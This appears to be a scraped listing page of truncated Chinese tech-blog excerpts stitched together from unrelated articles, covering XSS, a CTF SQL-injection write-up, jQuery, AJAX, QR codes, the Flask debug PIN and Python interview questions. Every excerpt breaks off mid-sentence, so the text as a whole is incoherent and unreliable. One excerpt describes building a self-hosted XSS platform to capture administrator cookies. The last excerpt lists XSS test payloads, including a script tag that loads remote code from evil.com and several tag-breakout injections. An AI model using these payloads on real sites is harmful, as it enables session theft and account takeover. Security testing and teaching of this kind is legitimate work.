XSS Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作漏洞的.它允许攻击者绕过安全机 制,通过尝试各种不同的方法插入恶意代码,攻击者可以得到敏感页面的权限,会话,cookies,或者其 他的东西,XSS 分为三类    XSS 分类: 非持久性,持久性和基于 Dom(此类可以是持久的,也可以是不持久的)    非持久性:非持久性 XSS 也被称为反射性

0x00 直接看源码吧 早上写了个注入fuzz的脚本,无聊回到实验吧的题目进行测试,发现了这道题 地址:http://ctf5.shiyanbar.com/web/pcat/index.php 分析如下: 1. 看过滤,过滤了一些查询关键词,明注是不可能了,过滤括号,通常的盲注也是实现不了. 2. 看要得到flag的条件,我们输入的密码和查询的密码要一致,而且查询结果只能有一条. 0x01 正确姿势 懒得写思路流程了,这里直接给出两种解题姿势,一种是盲注出密码,一种是使用with rollup

编码对应字符: ✔:\u2714✘:\u2718 <script type="text/javascript"> var aaa = "\u2718"; document.write(aaa); </script> 测试ASCII码的方法:在记事本中,按住ALT键,同时用小键盘输入十进制的ASCII码,然后松手,就可以看到效果了! ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符 0 NUT 32

分别利用javascript的源码和jQuery来实现一个简单的选项卡,对比各自的步骤. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> &l

目录 part1 deferred延迟对象 part2  when辅助方法 网盘源代码 链接: https://pan.baidu.com/s/1skAj8Jj 密码: izta part1 deferred延迟对象 1 . deferred基于callbacks开发 使用callbacks完成异步: <script src="js/jquery-2.0.3.js"></script> <script> var cb=$.Callbacks(); s

1.AJAX简介: AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML). AJAX 不是新的编程语言,而是一种使用现有标准的新方法. AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容. AJAX 不需要任何浏览器插件,但需要用户允许JavaScript在浏览器上执行. 2.本实例效果图: 3.本实例代码: 1 <!DOCTYPE HTML> 2 <html> 3 <

AngularJS实现二维码信息的集成思路        赠人玫瑰,手留余香.若您感觉此篇博文对您有用,请花费2秒时间点个赞,您的鼓励是我不断前进的动力,与君共勉!      注:点击此处进行知识充电. 需求 实现生成的二维码包含订单详情信息. 思路 获取的内容数据如下: 现在可以获取到第一级数据,第二级数据data获取不到.利用第一级数据的获取方法获取不到第二级数据. for(i in data){ alert(i); //获得属性 if(typeof(data[i]) == "object&

$.contains(parent,node)  返回值为一个布尔值 ==> boolean parent,node我们需要检查的节点检查父节点是否包含给定的dom节点,如果两者是相同的节点,返回 false.zepto代码实现方式: $.contains = document.documentElement.contains ? function(parent, node) { return parent !== node && parent.contains(node) } :

首先 简单的介绍一下条形码和二维码 条形码: 条形码技术是在计算机应用中产生发展起来的一种广泛应用于商业.邮政.图书管理.仓储.工业生产过程控制.交通运输.包装.配送等领域的自动识别技术.它最早出现在20世纪40年代,是“由一组规则排列的条.空及其对应字符组成的,用以表示一定信息的标识”. 条形码自动识别系统由条形码标签.条形码生成设备.条形码识读器和计算机组成.   二维码: 二维码又称二维条码,常见的二维码为QR Code,QR全称Quick Response,是一个近几年来移动设备上超流行

//判断手机为安卓还是ios 安卓html2canvas方法 ios系统dom-to-image方法 $(".code").click(function() { var u = navigator.userAgent; var isiOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); || u.indexOf(; //android终端 if(isiOS) { window.location.href = "mycodeios.h

Flask debug 模式 PIN 码生成机制安全性研究笔记 0x00 前言 前几天我整理了一个笔记:Flask开启debug模式等于给黑客留了后门,就Flask在生产网络中开启debug模式可能产生的安全问题做了一个简要的分析.其中有一个比较严重的安全问题是,可以在交互式Python shell中执行自定义Python代码.就这一点来讲,在旧版本的Flask中是不需要输入PIN码认证就可以执行代码,其危害不言而喻. 在新版本的Flask中需要输入PIN码进行认证,才能执行自定义代码,于攻击者

0x.00 前言 项目工程化系列文章链接如下,推荐按照顺序阅读文章 . 1️⃣ 源码剖析之工程化(一):项目概览.package.json.npm script 2️⃣ 源码剖析之工程化(二):项目构建.MD解析 3️⃣ 源码剖析之工程化(三):打包配置 前文对项目目录结构.package.json.npm script各命令任务内容和执行过程进行了概述.书接上文,build 目录下定义了许多项目构建脚本和配置(开发,打包,部署,持续集成). npm script各命令作为入口,会调用 buil

0x.00 前言 项目工程化系列文章链接如下,推荐按照顺序阅读文章 . 1️⃣ 源码剖析之工程化(一):项目概览.package.json.npm script 2️⃣ 源码剖析之工程化(二):项目构建.MD解析 3️⃣ 源码剖析之工程化(三):打包配置 本系列文章主要通过解析element项目源码,从结构.功能.源码方面逐一解析,学习其模块化.组件化.规范化.自动化等多维度优秀实践.主要内容包含项目结构.npm script.项目构建.文档解析.打包配置.发布部署等. 本文是第三篇,介绍项目的

http://blog.csdn.net/silentbalanceyh/article/details/4608272 (最终还是决定重新写一份Java基础相关的内容,原来因为在写这一个章节的时候没有考虑到会坚持往后边写,这次应该是更新该内容.而且很讨厌写基础的东西,内容比较琐碎,而且整理起来总会很多,有可能会打散成两个章节,但是我不保证,有可能一个章节就写完了,所以有时候希望基础的很多内容还是读者自己去看看,我基本保证把基础的内容全部都写出来,见谅.这一个章节写了过后我会把前边那个关于基础类

从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ==================================================================================================================================================== * 什么是XSS ** 综述 Cross-Site Scripting(XSS)是一类注入问题

Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”.“WEB蠕虫3 2.4. 广告植入 弹窗 .信息收集 .流量转发 甚至是路由劫持3 2.5. 钓鱼攻击,高级的钓鱼技巧.3 2.6. 删除目标文章.恶意篡改数据.嫁祸.3 2.7. 劫持用户Web行为,甚至进一步渗透内网.3 2.8. 爆发Web2.0蠕虫.3 2.9. 蠕虫式的DDoS攻击.3 2

第一部分 Python基础篇 1:为什么学习Python 家里有在这个IT圈子里面,也想让我接触这个圈子,然后给我建议学的Python, 然后自己通过百度和向有学过Python的同学了解了Python,Python这门语言,入门比较简单, 它简单易学,生态圈比较强大,涉及的地方比较多,特别是在人工智能,和数据分析这方面.在未来我觉得是往自动化, 人工智能这方面发展的,所以学习了Python 2:通过什么途径学习Python 刚开始接触Python的时候,到网上里面跟着视频学基础,再后来网上到看技

在这篇文章中: Python基础篇 1:为什么学习Python 2:通过什么途径学习Python 3:谈谈对Python和其他语言的区别 Python的优势: 4:简述解释型和编译型编程语言 5:Python的解释器种类以及相关特点? 6:位和字节的关系 7:b.B.KB.MB.GB的关系 8:PE8规范 9:通过代码实现如下转换(进制之间转换) 10:请编写一个函数实现将IP地址转换成一个整数 11.python递归的最大层数?998 12:求结果(and or or) 运算符 13 :asc

0x00前言 xss是跨站脚本攻击,利用嵌入js代码达到‘控制’对方浏览器的作用,测试的时候我们是用alert(1)弹窗,而做CTF也好,实际中的漏洞利用也好一般是用xss获取管理员的cookie 0x01xss平台搭建 网上有xss的在线平台,但是别人的总没有自己的用着舒服,于是可以试着手动搭建下属于自己的xss平台 首先要拥有自己的vps,能有公网的ip,才能把目标的信息发送过来 这里搭建推荐用蓝莲花战队的github一个项目:https://github.com/firesunCN/Blu

XSS测试代码: <img src="javascript:alert(/xss/)"> <script src=http://evil.com/xss.js></script> </textarea><script>alert(/xss/)</script> "><script>alert(/xss/)</script> </script><script&